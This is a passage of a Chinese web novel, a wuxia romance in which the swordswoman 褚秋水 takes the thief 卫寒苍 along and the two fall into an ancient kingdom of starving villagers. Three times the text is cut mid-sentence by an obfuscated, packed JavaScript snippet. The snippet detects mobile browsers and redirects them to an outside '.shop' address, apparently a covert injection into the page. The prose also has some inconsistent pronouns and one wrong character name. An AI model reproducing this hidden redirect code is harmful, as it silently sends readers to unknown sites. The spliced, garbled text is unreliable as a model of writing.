她身穿玄色劲装,袖口扎得利落,腰间系着一条赭红色的腰带,衬得那柄斜背在身后的大剑越发显眼。一头长发高高束成马尾,发尾垂到肩胛骨的位置,走起路来一甩一甩的,带着几分少年人的飒爽。 褚秋水从袖中取出那本《南溟剑谱》,一边走一边翻看。 南家剑法果然名不虚传。开篇第一句就是“剑者,心之刃也”,跟她师傅教的“剑即是心”有异曲同工之妙。 再往下翻,是一套完整的剑诀,每一招都配着详细的注解,笔迹苍劲有力,一看就是南家老爷亲笔所写。 褚秋水看得入了迷。 她脚步渐慢,最后干脆停在路中间,捧着剑谱细细研读。看到精妙处,她眼睛一亮,把剑谱往怀里一揣,反手拔出大剑。 竹林里响起一阵破风声。 她起手就是一招“开山式”,大剑横扫,带起的剑气将两侧的竹叶吹得簌簌落下。紧接着剑锋一转,又接了一招“断水流”,剑势由上而下,劈出一道凌厉的弧线。 两招练完,她收剑站定,歪着头想了想。 “不对,”她自言自语,“这一招的力道应该在落剑的瞬间收三分,不然下一招接不上。” 她又试了一遍。这次对了,剑势连绵,一气呵成。她满意地点点头,把大剑往背上一挂,继续往前走,边走边低头翻剑谱。 完全没注意脚下。 竹叶铺了满地,把路面的痕迹遮得严严实实。她的左脚已经悬空,下面是一个被落叶盖住的深坑——坑底还插着几根削尖的竹子,明显是猎人设的陷阱。 就在她的脚尖即将踩空的那一瞬—— “噗嗤。” 一声极轻的笑,从头顶的竹梢上传来。 褚秋水的身体比脑子快。她左脚猛地收回,整个人原地旋转半圈,右手已经探到背后握住剑柄。 大剑出鞘。整柄剑像一轮巨大的飞轮,旋转着朝笑声的方向斩去。剑气所过之处,竹叶纷飞,在空中碎成无数细小的碎片。 竹梢上的人影“咦”了一声,身形拔地而起,堪堪躲过这一剑。大剑斩断了她脚下的那根竹子,又飞出去三丈远,钉进另一根粗壮的竹身里,剑身嗡嗡震颤。 那人落在三丈外的竹枝上,衣袂飘飘,笑得眉眼弯弯。 “女侠好大的脾气。” 褚秋水看着那张脸,眉头皱了起来。 “夏荷?” 不对。她改口:“卫寒苍?” 那人歪了歪头,一脸无辜:“叫我寒苍就好。” 褚秋水二话不说,身形暴起,一把拔出钉在竹子里的大剑,反手就是一记横扫。 卫寒苍惊叫着往旁边一跳:“哎哎哎!怎么又打!” “少废话!”褚秋水剑势不停,大剑带起呼呼风声,劈头盖脸地砸下去,“你跟着我干什么?又想偷什么?” 卫寒苍左躲右闪,身法灵动得像只燕子。她脚下踩着竹枝,借着竹子的弹力在空中翻腾,每一剑都堪堪擦着衣角过去,却偏偏一剑都劈不中。 “我没跟着你!”她一边躲一边喊,“我就是路过!路过你信吗?” “路过?”褚秋水一剑劈断她脚下的竹子,“你在竹林里路过?” 卫寒苍一个后空翻,落在另一根竹子上,拍拍胸口:“好险好险。褚女侠,你这剑再偏一寸,我就成两半了。” 褚秋水不理她,剑势更猛。大剑在她手里像是没有重量,横扫、斜劈、直刺,一招比一招狠。她走的是刚猛路子,每一剑都带着千钧之力,剑气所过之处,竹子齐刷刷地倒下一片。 卫寒苍渐渐有些吃力了。 她的轻功再好,也架不住这人力气大得像头牛。那些被她躲过的剑招,剑气却躲不掉。劲风刮在脸上生疼,衣裳被剑气割出好几道口子。 “褚姑娘,”她一边躲一边喊,“你追着我打,总得有个理由吧?” 褚秋水一剑劈过去:“你偷人家孩子!” “我还回去了!” “你装丫鬟骗我!” “我给现在你道歉!” “你——”褚秋水一顿,“你昨天晚上钻我被窝!” 卫寒苍的脸微微红了,嘴上却不饶人:“那是我给你暖床!你不冷吗?” 褚秋水被她这话气得够呛,大剑横拍,直接把她连人带脚下的竹子一起拍飞。 卫寒苍在空中翻了两个跟头,踉跄着落在地上,退了好几步才稳住身形。她低头一看,袖子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371599|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑气撕开了一道口子,露出半截白生生的手腕。 她抬头看着褚秋水,那眼神又委屈又无奈。 “打不过你,”她说,“我认输。” 褚秋水把大剑往肩上一架,居高临下地看着她。 “说吧,你到底想干什么?” 卫寒苍拍拍身上的竹叶,站起来。她理了理被风吹乱的头发,那张脸在斑驳的阳光下显得格外好看——桃花眼,翘鼻梁,嘴唇抿着的时候带着一点倔强的弧度。 “我想跟着你。”她说。 褚秋水愣住了。 “什么?” “跟着你。”卫寒苍重复了一遍,理直气壮地说,“你剑法好,力气大,还背着一把这么威风的大剑。跟着你肯定有意思。” 褚秋水被她说得莫名其妙。 “你堂堂盗圣,跟着我干什么?” “盗圣怎么了?”卫寒苍歪着头,“盗圣也是人,盗圣也得吃饭。我跟着你,给你端茶倒水,给你洗衣做饭,给你——” “打住。”褚秋水伸手制止她,“我不用人伺候。” “那我给你暖床。” “更不用!” 卫寒苍眨眨眼,那眼神里带着一点促狭,一点委屈,还有一点说不清的东西。 “褚女侠,”她说,“你是不是嫌弃我?” 褚秋水深吸一口气。 “不是嫌弃你,”她说,“是我一个人惯了。” “那你刚才打我的时候,打得挺开心的。” “那不一样。” “有什么不一样?”卫寒苍往前走了两步,仰着头看她,“你打我的时候开心,我跟着你的时候也开心。这不是挺好的?” 褚秋水被她这套歪理堵得说不出话。 她低头看着面前这个人。个子挺高,瘦瘦的,脸上还带着刚才打斗时沾上的竹叶。那双桃花眼亮晶晶地看着她,像是在等一个答案。 这样的人,要跟着她? “你跟着我,”她慢慢开口,“不会是想偷我的剑吧?” 卫寒苍愣了一下,然后笑了。那笑容灿烂得像三月的春花,眉眼弯弯,露出一点虎牙。 “说不准呢,”她说,“我就是喜欢跟着你。” 褚秋水:“……” 这年头小偷都是大爷吗,这么理直气壮。 卫寒苍见她不说话,又往前凑了一步。 “褚姑娘,”她的声音放软了,“你就让我跟着呗。我保证不偷东西,不惹麻烦,不给你添乱。” “你刚才还偷了人家孩子。” “那不是为了见你嘛。”她说得理直气壮,“再说了,我还帮他治好了病。一颗九转护心丹,多少钱都买不到。算起来,南家还欠我的呢。” 褚秋水看着她那副理直气壮的样子,忽然觉得头疼。 这人,到底是个什么品种的无赖? 她沉默了很久。 卫寒苍就站在旁边,安安静静地等着。风吹过竹林,沙沙作响。她的衣袂被风吹起来,露出里面一截细白的手腕。 褚秋水叹了口气。 “跟着可以,”她说,“但有规矩。” 卫寒苍眼睛一亮:“什么规矩?” “第一,不许偷东西。” “好。” “第二,不许骗人。” “……好。” “第三,”褚秋水看着她,“不许随便往我被窝里钻。” 卫寒苍眨眨眼,那眼神里闪过一丝狡黠。 “好,”她说,“那你冷的时候我再钻。” 褚秋水瞪她。 卫寒苍立刻改口:“不钻不钻,你说不钻就不钻。” 褚秋水把大剑收回背上,转身往前走。 “走吧。” 卫寒苍愣了一下:“去哪儿?” “去找剑谱。”褚秋水头也不回,“你不是要跟着吗?跟紧点,丢了不负责。” 卫寒苍笑了,小跑着跟上去。她就知道,褚秋水这人,最是心软。 5. 破庙 卫寒苍跟在她后面,瞅准时机开口:“秋水姐姐,要不要和我打个赌。” “……有话直接放。” “干我们这一行的,平时偷点金银财宝不算新鲜,只有干票大的,才能打出名头来。” 听着对面的人娓娓道来,褚秋水竟然有一丝想要继续听下去的冲动。 她摩挲着剑柄:“所以你掳走南家的小少爷,就为了出名?” “是也不是,”见褚秋水愿意听她说了,卫寒苍更是起劲:“女侠愿不愿意和我打个赌。” “什么赌。” “就打我可以从你这里偷走你最珍贵的东西。赌期三年,期间让我一直跟着你。如果我输了,我就任你使唤,再也不去行骗盗窃。怎么样?” 褚秋水看着眼前人期待的眼神,感觉她就像用丰厚条件诱惑凡人的魔鬼。 但这个赌,怎么看她也不吃亏吧。 据南郃所言,这位“盗圣”平生最爱偷神兵利器。而她这件大剑是她的本命法器,认过主,几乎不能被他偷走。 而且,把这位祸害绑在身边,总比让他为祸一方的要好。 想到这,褚秋水点点头,算是同意了她的赌约。 她立刻抬起头,眼中满是喜悦:“姐姐真好,还肯收留我这个弱女子。” 褚秋水已经习惯她的说话方式。 刚刚打斗过后,又说了这么久的话,天色不早了,褚秋水划出片结界,准备今晚在这里歇歇。 卫寒苍看见了,连忙贴了过来。 褚秋水看着她的动作,把剑抱得紧了些。 “姐姐,别那么紧张嘛,我不会在你睡觉的时候动你的东西的。”卫寒苍撇撇嘴,“而且,你睡觉沉,不容易醒我摸你手你都没醒。” 褚秋水一听,睡意登时就飞走了:“你什么时候摸我手了?” “给你暖被子的时候啊。”卫寒苍眨眨眼,“你手凉,我给你捂着。你不是还握住了吗?” 褚秋水想起那几个夜里,被子里总是有一处热源,自己当时以为是汤婆子。 她深吸一口气,换了个方向躺着:“你到底是男是女?” 卫寒苍一愣。 “听人说,你性别男女老少的,”褚秋水眯起眼,“如果你是男扮女装,那我不能带上你。” 卫寒苍沉默了一瞬,然后开始接衣带。 “你干什么!”褚秋水一下子坐了起来。 对方似有不解,歪着头看她,“我给你看看呀。” 说着,她竟然真的要解开。 “姐姐你看吧。姐姐?” 褚秋水心中默念,不吃亏,自己怎么样都不吃亏。 如果她是女生,那么皆大欢喜。如果她是男的,她一刀给那碍事的玩意拍了,也可以当女生相处。 但是她无论如何也没法劝自己睁开眼。 只感觉对方身上的竹叶清香离自己越来越近。 “姐姐别害羞……我带着你。” 褚秋水的手被轻柔地拉着。对方的手软软的,带着舒适的体温,然后指引着她,摸到了或者没摸到什么…… 应该是没摸到,吧。 褚秋水一直等到她穿好衣服才睁眼。 一睁开眼,卫寒苍就凑了上来:“姐姐姐姐,我也证明自己了,你现在还赶我走吗?” 褚秋水看着她亮晶晶的眼睛,那张脸上满是期待。 “你跟着我到底干什么?”她实在是不理解,忍不住又问,“我可不是去游山玩水的,我要找剑谱,要打架,要吃苦。” “我知道呀。”卫寒苍点头,“我就跟着你。” “我不会一直在同一个地方待着。” “我跟着你走。” “可能会遇到危险。” “你保护我呀。”她笑眯眯地说,“你不是大侠吗?” 褚秋水被她追问地没话说。 沉默了好一会儿,她终于叹了口气。 “跟着可以,但规矩再加两条。” 苏辞眼睛一亮:“什么?” “第一,不许叫我姐姐,叫我秋水就行。” “好,秋水。” “第二——”褚秋水深吸一口气,“不许说这种让人误会的话!” 卫寒苍眨眨眼,似乎没听懂。 褚秋水管你有没有听懂。 她一翻身,准备就地睡去。卫寒苍也赶紧跟着她躺下来。 睡意朦胧间,褚秋水感觉身边的人离她越来越近,但她太困了。有什么事,都等到明天吧。 一早醒来,褚秋水感觉通体舒畅。她伸了个懒腰,拍拍身上的草屑,就去检查境界有没有破损的地方。 非常完美,没有任何破损。 她身后,卫寒苍也醒了过来,此刻正哀怨地看着她,眼下是大片乌青。 黑眼圈在卫寒苍白净的小脸上显得十分明显,以至于褚秋水一回来就看见了。 “这是怎么了。”褚秋水见她这样,忍不住明知故问,指了指对方眼下乌青。 卫寒苍没好气地问她:“你平时就睡这种地方?” 褚秋水点点头:“对啊对啊。师傅说修行之人不可轻纵己欲,睡草坪上有利于磨练意志。” “还不是因为你们剑修没钱……” “你这是毁谤啊!我告你毁谤啊!” 褚秋水慷慨激昂地陈词一番后,话锋一转,开始苦口婆心地劝说:“你说你好好一个人,天天跟着我风餐露宿算什么事。不如这样,赌约作废,从此大路朝天各走一边,怎么样。” 卫寒苍一听,也不管什么黑眼圈了,又恢复了往常那副柔弱的姿态。 “你就是嫌弃我……” 她微微垂下眼,睫毛轻轻颤着:“我知道我吃不了苦。昨晚翻来覆去,草扎得我就是不舒服,还有虫子爬到我脸上……但是我真的在努力了。” 褚秋水看着她这副模样,嘴角抽了抽。 她不该做什么小偷的,应该去戏班子里,用不了几年就能成角。 “你少来。”褚秋水抱着胳膊,“你都偷遍天下无敌手了,会怕虫子?” “这怎么了?”卫寒苍抬起眼,理直气壮,“我也是人啊,是人就有喜欢的和害怕的。再说了,我长的这么好看,多关心关心自己的脸怎么了。我去皇宫那次,御花园里全是蚊子,咬得我满脸包,回去半个月没敢见人。” 褚秋水竟然有一丝被她的歪理说服的奇怪感觉。不对不对,她怎么能被个小偷轻易迷惑。 “而且,”卫寒苍的声音又低下去,委屈巴巴的,“我都给你暖了那么多次床,你现在嫌弃我……” “谁让你暖床了!还有,我不是说了你不准再这样说话吗!” “我自己愿意的呀。”她眨眨眼,一脸无辜,“可是你不能因为我愿意,就觉得我不辛苦吧?我昨晚真的没睡着,你看我这黑眼圈——” 他把脸凑过来,几乎要贴到褚秋水鼻尖上:“你摸摸,是不是肿了?” 褚秋水往后仰了仰,伸手抵住他额头:“离我远点。” “你摸嘛。” “不摸。” “就一下。” “滚。” 两人正闹着,前方林荫尽头忽然露出一角飞檐,有些破旧。 褚秋水眼睛一亮:“有庙!走,去歇歇脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371600|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卫寒苍顺着她指的方向望去,眼里有过一丝嫌弃,但又怕褚秋水再说出什么要抛弃她之类的话,只能亦步亦趋地跟上。 面前的庙不大,看得出来已经很久没人来过了。门槛上的漆早已脱落,露出底下灰白的木头,檐角的瓦片也掉了好几块。 褚秋水推开半掩的木门,灰尘裹挟着一股霉味,扑面而来。 庙里里面空荡荡的,只有一尊残破的泥塑神像歪倒在角落,身上爬满了蛛网。 “就这儿吧。”她放下剑,清理一下地面,铺上清尘毯,“这样就不脏了,今晚可以睡在这里。” 卫寒苍难得没有第一时间回话,褚秋水抬眼看去,只见她站在门口仰着头,盯着门楣上方的雕刻出神。 “看什么呢?” “这尊神像……”卫寒苍喃喃道,“有点眼熟。” 褚秋水凑过去看了看。以前在宗门上大课时,除了和剑术有关的课,她是选修课必逃,必修课选逃,对于这些庙宇形制只能说是一知不解。 “有什么问题吗?” “这种风格现在很少见了。”卫寒苍指着那些纹路,“这是古苏眦国供奉的神像,传说他们的开创者从天而降,带领百姓脱离苦海。” 褚秋水的目光中带着些敬佩:“你对建筑还有研究?” 卫寒苍笑了:“当然。当过小偷的朋友们都知道,偷东西前得先踩点,踩点就得懂建筑,不然绕来绕去把自己都绕迷糊了。” 褚秋水懒得理她,继续清理地上的草。 卫寒苍在庙里转了一圈,东摸摸西看看,最后停在佛像前,盯着那尊歪倒的泥塑神像啧啧称奇。 “秋水。” “嗯?” “你力气大吗?” “还行,有事就放。” “我们把这个神像背出去吧。” 褚秋水对于她的口出狂言已是见怪不怪:“不行。” “你不知道这个神像多值钱。”卫寒苍的声音中带着明显的兴奋,“我仔细看了一下这个神像,用料做工都是极好的,只要我们能拿出去……” 褚秋水整理好她的毯子终于抬起头,看向他:“君子爱财,取之有道。小人爱财,没有礼貌。不义之财,我不能要。” 说完,她躺在清尘毯上,室外酷热,但睡在这毯子上却异常凉爽。 卫寒苍见状,也想挤在她的毯子上。 褚秋水眼都没抬,从储物戒中取出张毯子给她:“自己铺。” 卫寒苍见她没有给自己腾位置的念头,只好一边絮絮叨叨,一边在她身旁找了个位置,认命地开始铺床。 褚秋水听见身旁人小声的抱怨,忍不住勾了勾嘴角。 睡意朦胧间,褚秋水闻到点奇异的香味。 那香味起初极淡,若有若无,到后来味道越来越重。像是庙中点染的敬香,带着一股说不清的古老气息。 褚秋水一征,迅速睁开眼,和同样清醒过来的卫寒苍对视上,两个人都看到了对方眼中的震惊—— 破庙里就她们两个人,哪里来的香味? 还没等说出话来,瞬间天地倒转。 脚下的地面仿佛突然消失了,整个人像被一只无形的大手拖拽着。耳边是呼呼的风声,眼前是飞速旋转的光影,五脏六腑都在翻涌。 不知过了多久,也许只是一瞬,也许是很久,那失重的感觉忽然消失了。 褚秋水摔在一堆灰上,倒是不疼。 她捻起那灰一闻,是香灰。 空气中那股异香一直环绕着她。 她打量了一下周围,这才发现,自己似乎掉到了一座祭坛中央。 6. 村民 褚秋水打量着周围。 她现在在一个陌生的房间里。房间很大,青石铺地,四周立着几根漆黑石柱,柱身上刻满了密密麻麻的古老符文不是褚秋水认识的任何一种。 她屁股下的祭坛位于房间中央,坛内青烟袅袅,正是那阵奇异的香味的来源。 褚秋水呆呆地看着这一切,脑子有点过载了。 “我们这是……” 身后,卫寒苍的声音幽幽响起:“……好像是穿越了。” 褚秋水手里握着剑,戒备地观察周围:“也真奇了,这穿越的事也能被我们两个赶上。” 卫寒苍摊手:“可能,人生就是旷野吧。” 褚秋水深吸一口气,忽略了她的文青病,努力让自己冷静下来。 “你之前说过个什么古国?” “苏眦。”卫寒苍走到一根石柱前,伸手摸了摸那些符文,“西域古国,史书记载它盛极一时,但也逃不过亡国的命运,所属臣民多迁往中原了。” 褚秋水消化着这个信息,外面忽然传来一阵杂沓的脚步声。 卫寒苍嘴唇翕动,告诉她有人来了。 褚秋水点点头,来的人还不少。 两人对视一眼,褚秋水本能地握紧手里的剑,本命武器在手,她心里稍稍松了一口气。 门被推开,一群人涌了进来。 褚秋水下意识摆出迎战的姿势,却在看清来人的时候有些愣住了。 这些人……倒像是贫苦百姓。 她把剑收了收,观察起眼前的人群。 打头的几个老者穿着打满补丁但是很干净的粗麻衣,脸上满是风霜刻下的沟壑。后面的年轻人大都是衣衫褴褛。 但他们看着褚秋水和卫寒苍的眼神,却亮得吓人。 “来了……真的来了……” 领头的老者看着褚秋水和她的剑,嘴唇哆嗦着,浑浊的眼里涌出泪来。他颤抖着向前走了两步,扑通一声跪在地上。 身后那群人像被推倒的骨牌一样,齐刷刷跪了一地。 “天降神勇!天降神勇!” 呼喊声此起彼伏,带着哭腔,带着狂喜,震得褚秋水耳朵嗡嗡响。 她整个人都懵了,也顾不上认不认识这些人,想拉他们起来。 “别,别跪啊。这是在干嘛。” 卫寒苍也是难得的一脸懵,只能跟着褚秋水去扶人。 领头的老者被她扶起来,老泪纵横,“祭坛三百年未曾有应,今日终于天降神勇,定是上苍垂怜我苏眦百姓!” 褚秋水从他有限的话里提取着信息,这些人一直在祈求着什么人的到来,而她恰好在这个时候落到这里来,被他们误当成了上天的指引。 她深吸一口气,努力让自己的语气平和一点:“老人家,您听我说,我们真的不是什么神勇,我们是……我们是迷路了,不小心掉进来的。您能不能告诉我们怎么出去?” 老者听了这话,非但没有失望,眼里的光反而更亮了。 “迷路?掉进来?”他喃喃重复,忽然激动地说,“正是正是!神勇自然是从天而降,自然是不知来路!与预言一般无二!” 身后那群人也跟着激动起来,嘴里念念有词。 褚秋水有些不知所措。 似乎是发现了她们的窘迫,后面有人大喊着。 “快,快请勇士们去吃饭。过了这么久,她们肯定也饿了。” 领头的老者连忙拉着她们两个要走。一边走,还一边和他们聊着。 从和他的交谈中,褚秋水得知,老者姓周,是这个小村落里最有威望的长者,大家都叫他周伯。 他带着褚秋水和卫寒苍穿过几条土路,来到一间低矮的土坯房前。房子不大,屋顶铺着茅草,有几处已经塌陷下去,但都收拾得干净利落。 院子里已经忙开了。 几个妇人蹲在灶台前添柴烧火,锅里咕嘟咕嘟冒着热气。一个头发花白的老太太正拿着刀,对着一只瘦骨嶙峋的老母鸡比划,那鸡吓得咯咯直叫。 旁边还有几个孩子在帮忙择野菜,那些野菜褚秋水认识,是路边随处可见的苦菜和灰灰菜,平时连猪都不爱吃。 周伯把他们让进屋,屋里被整齐收拾着。一张歪腿的木桌被反复擦过,几个豁口的陶碗摆在上面,墙角的农具和干草放得归整。 “寒舍简陋,让勇士见笑了。”周伯有些不好意思地搓开口。 褚秋水摇摇头,表示自己并不在意这些。对面已经拿出了最大诚意,她又怎么可能会嫌弃。 没过多久,饭端上来了。 一碗炖鸡汤,黄澄澄的油花飘在上面,香气直往鼻子里钻。一碗野菜,用开水焯过,拌了点调料。还有几个黑乎乎硬邦邦的杂粮饼子,配了点。 东西不多,但准备得很用心。 那只鸡瘦得可怜,炖出来的汤也没多少,周伯硬是给褚秋水和卫寒苍一人盛了一大碗,自己碗里只有清汤寡水。 野菜也是,好的都挑给了他们,周伯碗里只剩些老叶子。 褚秋水端着碗,忽然觉得这碗有千斤重。 自己的师傅也是这般年纪,但面前的周伯看着比师傅沧桑了许多。她的眼睛有些酸了…… 褚秋水低头喝了一口汤,没什么盐味,淡淡的,带着一股土腥气。但她什么都没说,一口一口喝完了,露出了满意的表情。 卫寒苍也低着头,难得没有出声,安安静静把碗里的东西吃了个干净。 吃完饭,褚秋水放下碗,看向周伯:“周伯,感谢招待。有些事,我们想和你单独谈谈。” 周伯愣了一下,点点头,把其他人支了出去。 屋里只剩下他们三个人。 褚秋水沉默了一会儿,关切地问:“周伯,你们这里……是不是没有盐?” 周伯脸上的笑容僵住了。 他张了张嘴,想说什么,却什么都没说出来,只是低下了头,肩膀微微颤抖。 半晌,他才哑着嗓子开口:“勇士……怎么知道的?” “汤里没盐。”褚秋水说,“野菜也只放了醋,没杂粮饼用咸菜佐味。而且我看那几个孩子的嘴唇发白,指甲凹陷——都是缺盐的症状。” 周伯抬起头,眼眶又红了。 他哑声道,“我们很多年没有盐吃了。” 褚秋水看着愁容满面的老人,一时不知该从何问起。 倒是卫寒苍先开了口,她给周伯倒了碗水,碗的缺口朝向自己,语气温和:“周伯,您先缓缓,慢慢说。这到底是怎么回事?” 周伯接过碗,手还在抖。他喝了一口水,深吸几口气,才慢慢开口。 “这事,得从女王继位说起。” 四十年前,苏眦古国出了一位女王。 这位女王雄才大略,励精图治,在位几年间,就把苏眦带到了前所未有的鼎盛。路不拾遗,夜不闭户,他们普通百姓都能过上好日子。 “可谁知道,就在她执政的第十年,一切全变了。” 周伯的声音沙哑,带着浓重的沉痛。 那年,女王从世代拱卫王室的巫祝处得到了一则预言。 手握盐与铁的人,将来到这个国家,终结百姓的苦难。从那之后,女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371601|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王就像变了个人。 以举国之力,她开始收集铁器。 农具、炊具、刀具、甚至百姓家里的铁锅铁铲——全部充公。谁敢私藏,轻则鞭笞,重则砍头。 “说是要铸什么东西。”周伯苦笑,“可是这么多年,光看她收铁上去了。” 没有铁,农民无法耕种,只能用木犁翻地,收成远不如从前。没有铁,煮饭时连口像样的锅都没有,只能用陶罐煮食。陶罐易碎,三天两头就得换。 “那些被收走的铁,到底铸成了什么?”卫寒苍问。 老人摇摇头,官府从来不会告诉他们这些秘密。 “盐也是因为那个预言吗?”褚秋水问。 “苏眦律法本就对盐征管严格。”周伯叹气,“自从预言昭示,铁器被收,官府对于盐的把控也越来越紧。” “没有盐,这么多年,你们是怎么熬过来的?”褚秋水问着,声音有些哽咽。 她自小由师傅带大,看着眼前老人满面风霜,每道皱纹里都深深刻下了岁月的痕迹,她的鼻子一酸…… “硬熬。”周伯苦笑着,“没盐就没力气,没力气就种不了地,种不了地就没粮食。村里的人一个接一个病倒,熬不过去的,就埋在后山。今年冬天,又熬走了几个老伙计。” 他说着,眼眶又红了。 “我们每天都去祭坛祈求,求了三十年。”他抬起头,看着褚秋水,浑浊的眼里满是期盼,“预言说,会有神勇带领我们走出绝境。勇士,你来了,你一定是预言里的那个人。” 褚秋水张了张嘴,想说“我不是”,可那句话堵在喉咙里,怎么都说不出来。 她只是一个练剑的,不是什么神勇。她空有一身剑术,不知道怎么变出盐来,也不知道怎么跟那个女王抗衡。 可她看着周伯那双眼睛,看着这个为了招待他们杀了唯一一只老母鸡的老人,看着这个说起死去的村民时眼眶通红的老者…… 她张开口,却说不出一个拒绝的字。 一只手忽然伸过来,握住了她的。 卫寒苍看着她,轻轻笑了笑。 “秋水姐姐,”他说,“要不,咱们试试?” 褚秋水一愣。 “你不是说,遇上别人有难处,没法视而不见吗?”卫寒苍眨眨眼,那副无辜的样子又回来了,“现在这不就是难处吗?” “但是我——” “没什么好怕的。”卫寒苍歪头,“不就是没盐吗?找就是。不就是女王吗?打不过还不不能跑了?” 他说得这般轻描淡写,就像平常聊天似的。 褚秋水被他这副没心没肺的样子逗乐了。 “你说得倒容易。” 卫寒苍摊摊手,眼神示意她看向周伯。 褚秋水看过去。 周伯正眼巴巴地看着她,眼神中满是期盼。 是那种褚秋水永远无法拒绝的眼神,她深吸一口气。 “好。”她听见自己说,“我会帮着你们的。” 周伯愣住了。然后,那张满是沟壑的脸上,忽然涌出泪来。 他颤抖着站起身,又要往下跪,被褚秋水一把扶住。 “别跪,”褚秋水一边给他擦泪,一边说着,“没有人值得你们跪。” 周伯连忙站直,抹着眼泪,又哭又笑。 卫寒苍在旁边递了块帕子过去,笑眯眯地问:“周伯,我们有些累了,您能带我们去休息吗。” 周伯接过帕子,擦了擦脸,努力平复情绪:好好,你们跟着我来。” 周伯为她们安排好房间后,就离开了。 7. 乡间 屋子不大,明显被收拾过了。一张木板床上面干干净净,一张歪腿的桌子,窗户纸破的几个洞也都被补好了。 褚秋水站在窗前,看着周伯佝偻的背影消失在夜色里,久久没有说话。 身后忽然传来窸窸窣窣的声响。 她回头一看,卫寒苍正蹲在地上,把自己的小包袱打开,往里面塞东西——那几个黑乎乎的杂粮饼子,不知什么时候被他顺了进来,正一个个往包袱里装。 “你在干什么?” “收拾东西啊。”卫寒苍头也不抬,语气轻快,“趁天还没黑透,咱们赶紧跑。” 褚秋水:“……变脸这么快吗。” “你看啊,”卫寒苍掰着手指头数,“没盐,没铁,女王还不知道有什么毛病。这地方待不得,三十六计走为上——” 话没说完,后领一紧,整个人被拎了过来。 褚秋水把他提到面前,面无表情地看着他:“你刚才说什么来着?” “我说……”卫寒苍眨眨眼,一脸无辜,“咱们得赶紧跑?” “不是这句。” “那是哪句?” “在周伯那儿,你说‘要不咱们试试’。”褚秋水眯起眼,“试什么?试怎么跑?” 卫寒苍被她拎着,双脚悬空,晃了晃,理直气壮地说:“试完了发现不行,那就跑啊。这叫随机应变。” 褚秋水翻了翻白眼。 她松开手,卫寒苍稳稳落在地上,揉了揉后颈,嘴里还在嘀咕:“力气大了不起啊……” “了不起。”褚秋水抱起胳膊,“你走吧,我不会走的。” 卫寒苍眼睛一转,凑上前来,压低声音:“秋水姐姐你不会真想管这事吧?” “首先别叫我姐姐,其次答应别人的事,我还真就管到底了。” “哇唔好威武,那我们现在抛开热血啊羁绊啊,来谈点实际的。”卫寒苍的神情认真起来。 “那可是女王,一国之王。”她掰着指头,“她有兵有将,有城有池。你一个练剑的,拿什么跟人家斗?” 褚秋水沉默。 “而且你看啊,”卫寒苍继续分析,“这事明摆着是个烂摊子。女王收了铁,控制了盐,百姓苦了三十年。凭什么你一来就能解决?人家三十年都没解决的事,你——” “我知道。” 卫寒苍一愣。 褚秋水走到床边坐下,声音平静:“我知道我可能解决不了。我知道这事很难。我知道我只是个练剑的,不是什么神勇。” 她顿了顿,抬起头看着卫寒苍:“可是总要有人来做的。” 卫寒苍张了张嘴。 “我没法对于他人的苦难视而不见。”她说盯着眼前晃动的烛光,“可能有人会觉得我轴,不自量力。但……谁让我的性格就是这样呢,遇到这种情况,我就是没法忽视它。” 卫寒苍不说话了。 “我师傅说过,”褚秋水低下头,看着自己的手,“练剑的人,剑可以输,心不能输。遇上难事就跑,那这剑练了有什么用?” 屋子里安静了一会儿。 卫寒苍听着她的话,眼睛越来越亮。 她走过去,在褚秋水身边坐下,肩膀挨着肩膀。 “行吧。”她说,语气里带着点无奈,“那咱们就试试。” 褚秋水转头看他。 “不过说好了,”卫寒苍举起一根手指,“打不过就跑,跑不过就投降。我可不想陪你把命搭在这儿。” 褚秋水笑了:“你不是盗圣吗?怎么这么怂?” “盗圣怎么了?”卫寒苍振振有词,“盗圣也是人,盗圣也怕死。我偷东西从来都是挑软柿子捏,硬的坚决不碰。这叫智慧。” “这叫怂。” “这叫识时务。” 两人你一言我一语,气氛不知不觉松快了些。 聊完这些,她们就上塌休息了。 比起最初的抗拒,现在的褚秋水对于这种身旁多躺了一个人的情况,已经接受良好了。 卫寒苍对此非常满意,她喜欢这种一点一点挤进褚秋水生活的感觉。 卫寒苍躺在褚秋水身边,目光摩挲着她的面容。 对方早已睡着了,她忍不住去想,难道不管身旁睡着的是谁,褚秋水都能这般自然吗。 想到这,她想把褚秋水推醒问一问,但想起她白天被这些事一番折腾,此刻必然是累极了,又舍不得将她叫醒了。 退而求其次,她捻起褚秋水的发尾,将她的头发一圈一圈地缠绕在自己指尖,仿佛这样,能让她们两个之间的距离缩短。 